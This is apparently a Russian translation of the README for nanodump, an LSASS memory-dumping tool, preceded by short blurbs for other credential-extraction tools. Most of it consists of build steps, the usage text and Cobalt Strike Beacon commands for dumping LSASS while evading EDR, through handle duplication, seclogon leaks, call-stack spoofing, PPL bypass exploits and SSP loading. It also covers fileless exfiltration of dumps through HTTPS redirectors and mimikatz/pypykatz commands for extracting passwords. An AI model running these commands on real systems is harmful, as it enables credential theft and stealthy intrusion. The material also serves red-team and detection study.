Компактный инструмент для исследования дампинга учётных данных — изучает защиту LSASS и методы обнаружения доступа к памяти процесса.
Инструмент для извлечения паролей, хешей, PIN-кодов и Kerberos-тикетов из памяти Windows. Поддерживает Pass-the-Hash, Pass-the-Ticket, Golden/Silver Ticket, …
Кросс-платформенный инструмент для извлечения сохранённых паролей из десятков приложений: браузеры, почтовые клиенты, SSH-клиенты, мессенджеры, БД, VPN, …
Инструмент для обнаружения файловых ресурсов в сети Windows — помогает находить потенциально открытые файлы и учётные …
C#-порт части функциональности Mimikatz для работы с Windows DPAPI.
git clone https://github.com/fortra/nanodump.git make -f Makefile.mingw
Гибкий инструмент, создающий минидамп процесса LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
На Linux с MinGW
make -f Makefile.mingw
На Windows с MSVC (без поддержки BOF)
nmake -f Makefile.msvc
Импортируйте скрипт NanoDump.cna в Cobalt Strike.
Выполните команду nanodump в консоли Beacon или запустите бинарник nanodump.x64.exe.
Если вы не указали флаг --valid, необходимо восстановить недействительную подпись:
scripts/restore_signature <dumpfile>
mimikatz: Чтобы извлечь секреты, просто выполните:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz: Если вы предпочитаете оставаться на Linux, можно использовать портированную на Python 3 версию mimikatz под названием pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
Чтобы избежать открытия дескриптора LSASS с правом PROCESS_VM_READ, можно использовать параметр --fork.
Это заставит nanodump создать дескриптор LSASS с правом доступа PROCESS_CREATE_PROCESS, а затем создать «клон» процесса. Этот новый процесс будет дампиться. Хотя это приведёт к созданию и удалению процесса, это устраняет необходимость прямого чтения LSASS.
Аналогично опции --fork, можно использовать --snapshot для создания снимка процесса LSASS.
Это заставит nanodump создать дескриптор LSASS с правом доступа PROCESS_CREATE_PROCESS, а затем создать снимок процесса с помощью PssNtCaptureSnapshot. Этот новый процесс будет дампиться. Снимок будет автоматически освобождён после завершения.
Поскольку открытие дескриптора LSASS может быть обнаружено, nanodump может вместо этого искать существующие дескрипторы LSASS. Если такой дескриптор найден, он будет скопирован и использован для создания минидампа. Обратите внимание, что нет гарантии, что такой дескриптор будет найден.
Можно получить дескриптор LSASS с правом PROCESS_QUERY_LIMITED_INFORMATION, который, скорее всего, находится в белом списке, а затем повысить привилегии этого дескриптора, дублируя его.
Чтобы избежать открытия дескриптора LSASS, можно воспользоваться уязвимостью службы seclogon, вызвав CreateProcessWithLogonW, чтобы передать дескриптор LSASS в бинарник nanodump.
Чтобы включить эту функцию, используйте параметр --seclogon-leak-local.
Учтите, что при использовании из Cobalt Strike необходимо записать неподписанный бинарник nanodump на диск для работы этой функции.
Эта техника очень похожа на предыдущую, но вместо передачи дескриптора в nanodump он передаётся в другой бинарник, а затем дублируется, чтобы nanodump мог его использовать.
Используйте флаг --seclogon-leak-remote для доступа к этой функции.
Можно заставить процесс seclogon открыть дескриптор LSASS и дублировать его, прежде чем он будет закрыт, выиграв гонку условий с помощью файловых блокировок.
Используйте флаг --seclogon-duplicate для доступа к этой функции.
Можно загрузить nanodump как SSP в LSASS, чтобы избежать открытия дескриптора.
Когда DLL будет загружена в LSASS, параметры будут переданы через именованный канал, и после завершения дампа DllMain вернёт FALSE, чтобы заставить LSASS выгрузить DLL nanodump.
Можно жёстко закодировать параметры в DLL и избежать использования именованного канала, используя флаг компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.
По умолчанию неподписанная DLL nanodump будет загружена в папку Temp, откуда она будет автоматически удалена.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Если вы хотите загрузить существующую DLL, выполните:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Если LSASS работает как Protected Process Light (PPL), можно попробовать обойти защиту с помощью эксплойта в пользовательском пространстве, обнаруженного Project Zero. В случае успеха дамп будет записан на диск.
Обратите внимание, что эта уязвимость была исправлена в июльском пакете обновлений 2022 года (Windows 10 21H2 Build 19044.1826)
Чтобы использовать эту функцию, используйте команду nanodump_ppl_dump:
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Nanodump также реализует эксплойт PPLMedic, который работает на системах с пакетом обновлений от июля 2022 года.
Параметры будут передаваться в DLL nanodump через именованный канал. Вы можете жестко закодировать параметры в DLL и избежать использования именованного канала, установив флаг компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.
Чтобы воспользоваться этой функцией, используйте команду nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
Чтобы использовать технику Silent Process Exit, используйте параметр --silent-process-exit и укажите путь, где должен быть создан дамп.
beacon> nanodump --silent-process-exit C:\Windows\Temp\
Также будет создан дамп процесса nanodump, примерно такой:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
beacon> nanodump --shtinkering
Дамп обычно создается в каталоге `C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps`
beacon> nanodump --fork --write C:\lsass.dmp
Использование утечки seclogon удалённо для получения дескриптора LSASS в процессе notepad, дублирование этого дескриптора для доступа к LSASS, затем чтение косвенно через создание форка и загрузка дампа с действительной подписью:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
Получение дескриптора через утечку seclogon локально, чтение LSASS косвенно с использованием форка и запись дампа на диск с действительной подписью (бинарник nanodump будет загружен!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
Загрузка дампа с недействительной подписью (по умолчанию):
beacon> nanodump
Дублирование существующего дескриптора и запись дампа на диск с недействительной подписью:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
Получение PID LSASS:
beacon> nanodump --getpid
Загрузка nanodump в LSASS как SSP (бинарник nanodump будет загружен!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
Дамп LSASS с обходом PPL с помощью эксплойта PPLDump, дублируя дескриптор, который имеет `csrss.exe` на LSASS:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
Дамп LSASS с обходом PPL с помощью эксплойта PPLMedic, открывая дескриптор с низкими привилегиями к LSASS и затем повышая его:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
Обман seclogon для открытия дескриптора к LSASS и его дублирование, затем загрузка дампа с недействительной подписью:
beacon> nanodump --seclogon-duplicate
Заставляем процесс WerFault.exe создать полный дамп памяти в папке Temp:
beacon> nanodump --werfault C:\Windows\Temp\
Открытие дескриптора к LSASS с поддельным стеком вызовов и загрузка минидампа с недействительной подписью:
beacon> nanodump --spoof-callstack
Использование техники Shtinkering:
beacon> nanodump --shtinkering
Получение дескриптора через утечку seclogon локально и создание дампа с использованием техники Shtinkering:
beacon> nanodump --seclogon-leak-local --shtinkering
Получение дескриптора с низкими привилегиями и его повышение с помощью `_elevate handle_`:
beacon> nanodump --elevate-handle
Получение дескриптора с низкими привилегиями с использованием поддельного стека вызовов и его повышение с помощью `_elevate handle_`:
beacon> nanodump --elevate-handle --spoof-callstack
Дублирование существующего дескриптора с низкими привилегиями и его повышение с помощью `_elevate handle_`:
beacon> nanodump --duplicate-elevate
## 5. HTTPS-редиректоры
Если вы используете HTTPS-редиректор (как и должно быть), вы можете столкнуться с проблемами при безфайловой загрузке дампа из-за размера запросов, которые передают дамп.
Увеличьте максимальный размер запросов на вашем веб-сервере, чтобы позволить nanodump загружать дамп.
#### NGINX
location ~ ^...$ {
...
client_max_body_size 50M;
}
#### Apache2
<Directory "...">
LimitRequestBody 52428800
</Directory>
## Благодарности
- [skelsec](https://twitter.com/skelsec) за написание [minidump](https://github.com/skelsec/minidump), что было критически важно для изучения формата файла минидампа.
- [freefirex](https://twitter.com/freefirex2) из [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) в Trustedsec за множество классных трюков для BOF.
- [Jackson_T](https://twitter.com/Jackson_T) за [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2).
- [BillDemirkapi](https://twitter.com/BillDemirkapi) за [Process Forking](https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/).
- [Antonio Cocomazzi](https://twitter.com/splinter_code) за [Использование утекших дескрипторов для дампа памяти LSASS](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html) и [Гонка за дампами LSASS](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html).
- [xpn](https://twitter.com/_xpn_) за [Исследование Mimikatz — Часть 2 — SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/).
- [Matteo Malvica](https://twitter.com/matteomalvica) за [Обход WinDefender ATP для кражи учётных данных: попадание после неудачных попыток](https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/).
- [James Forshaw](https://twitter.com/tiraniddo) за [Трюки эксплуатирования Windows: эксплуатирование произвольного создания каталога объектов для локального повышения привилегий](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html).
- [itm4n](https://twitter.com/itm4n) за оригинальную реализацию эксплойтов PPL в пользовательском пространстве, [PPLDump](https://github.com/itm4n/PPLdump) и [PPLMedic](https://github.com/itm4n/PPLmedic).
- [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) за [Дампы памяти LSASS стали более скрытными, чем когда-либо — Часть 2](https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2) и технику Shtinkering.
- [William Burgess](https://twitter.com/joehowwolf) за [Подмена стека вызовов для обмана EDR](https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs).
- [Себастьян Фельдманн](https://twitter.com/thefLinkk) и [Фабиан](https://twitter.com/testert01) за технику `_elevate handle_`, обсужденную на [Преобразуй свой вредоносный код!](https://www.youtube.com/watch?v=AucQUjJBJuw)